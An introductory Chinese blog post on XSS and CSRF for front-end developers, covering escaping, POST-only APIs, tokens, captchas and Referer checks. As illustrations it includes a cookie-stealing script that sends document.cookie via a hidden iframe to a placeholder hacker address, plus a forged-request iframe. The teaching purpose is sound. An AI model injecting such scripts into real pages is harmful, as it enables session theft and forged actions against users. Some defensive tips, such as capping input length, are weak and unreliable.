对XSS和CSRF的简单了解

本文详细介绍了XSS(跨站脚本攻击)和CSRF(跨站请求伪造)这两种常见的网络安全威胁。XSS攻击通过在网页中插入恶意脚本来窃取用户信息或破坏页面功能;CSRF则通过诱导用户点击链接来伪造请求。文中还提供了多种防御措施,如转义特殊字符、设置Token等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XSS
全称为跨站脚本攻击,其特点是不对浏览器造成任何伤害,而是通过一些正常的站内交互途径,例如在网站的URL中加入javascript脚本,或者在发布评论的时候,提交含有javascript的内容文本。这个时候如果服务器没有过滤掉这些文本,当这些内容发布到了页面上,则其他用户访问这个页面时就会运行这些嗯脚本了。
运行预期之外的脚本带来的后果又很多,假如注入了一段严重的错误的javascript脚本,页面中的javascript可能会因此中断运行。或者加入了一个恶作剧的脚本,比如:
while (true) {
alert('网站错误')
}
用户此时无法做任何操作。
或者我们常见的网站左右两侧的广告栏,入侵者在网站注入脚本,比如:
img = document.createElement('img')
img.onclick = function() {
window.open('不好的网站')
} 
这会影响网站的声誉以及用户的使用体验。
除了这些,更恐怖的是假如入侵者不只是简单的恶作剧和侵入广告,而是获取用户信息呢,比如:
//  得到用户的cookie
var cookies = document.cookie;
var xssUrlBase = '黑客的地址';
var xssUrl = xssUrlBase + window.encodeURI(cookies);
//  建立隐藏的iframe用来通讯
var hideFrame = document.createElement("iframe");
 hideFrame.height = 0;
 hideFrame.width = 0;
 hideFrame.style.display = "none";
 hideFrame.src = xssURI;
 // 运行
 document.body.appendChild(hideFrame);
脚本完成了以下操作,获取到用户的cookie然后发送了入侵者的地址,入侵者得到用户的信息后可以做许多的事情, 比如添加删除内容:
http: // www.fabudongtai.com?title=标题&content=内容
入侵者通过XSS攻击的方式在页面上注入这样一段代码:
//  建立隐藏的iframe用来通讯
var hideFrame = document.createElement("iframe");
 hideFrame.height = 0;
 hideFrame.width = 0;
 hideFrame.style.display = "none";
 hideFrame.src = 'http: // www.fabudongtai.com?title=广告标题&content=这是一条广告';
 // 运行
 document.body.appendChild(hideFrame);
做为前端开发者,我们自然不能相信任何用户输入的数据,所以,当检测到用户内容是带有<script></script>或者<a href=""></a>的时候,需要将</>转义,或者将字符串的长度设置为小于25,这样用户则无法完成一个攻击的脚本。同时对后端返回的数据也不能完全信任,因为数据也有可能是入侵者中间截取,然后重新发送过来的具有脚本的数据,一旦发布到页面上了,同样会对网站进行入侵。所以最好的方法则是用户输入和后端返回的数据,我们都通过对数据转义。

CSRF
全称是跨站请求伪造。主要是通过诱导用户访问网站,然后这个页面会在用户无感知的情况下跨站伪造请求,造成攻击。
这时我们要怎样去抵御攻击呢?像XSS一样去转义字符?当侵入者是通过XSS注入脚本的时候,我们是可以通过这种方式去抵御攻击的,可是当侵入者是通过跨站请求伪造的方式来攻击的时候呢?
当侵入者通过QQ,微博或者其他网站将链接发布上去,用户同样会中招。被伪造的请求可以是任何来源,从任何一方发起。
由于几乎没有彻底杜绝CSRF的方式,我们一般的做法是以各种方式来提高攻击的门槛。
首先,我们需要把关于资源数据操作之类的API,设置为只接受POST请求,GET请求只获取浏览数据,这样一来,入侵者想要伪造请求便只能使用非GET的请求方法,而无法通过链接来进行伪造请求了。但是入侵者仍然可以通过其他方式,比如发布隐藏的表单,然后通过POST方法进行伪造请求。
这时候,我们便可以使用常见有效的方法来抵御CSRF了----使用Token令牌。服务端在用户登陆的时候返回随机的Token,前端将Token存在当前域,请求时需要携带这个信息,否则后台则将请求拒绝。这样跨站时是取不到当前域的Token的。
在一定程度上,使用Token令牌是安全的,但并不是绝对的,入侵者可以通过其它方式获取到信息,所以通常建议在的重要操作时加上验证码或者密码重复输入的功能,不过添加多一步的操作在一定程度上又会将用户的使用体验降低,这也是一个需要考虑的问题。Token和验证码的话,使用以后一定要记得及时销毁,否则一旦入侵者存储起来下次使用依旧会带来的麻烦。
除了设置Token,验证码,我们通常还可以通过在请求的头部设置referer属性来设置请求的来源,这个是由发送的请求者来设定的,在一定程度上可以防范部分入侵者的攻击。

借鉴文章: 总结 XSS 与 CSRF 两种跨站攻击


以上。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值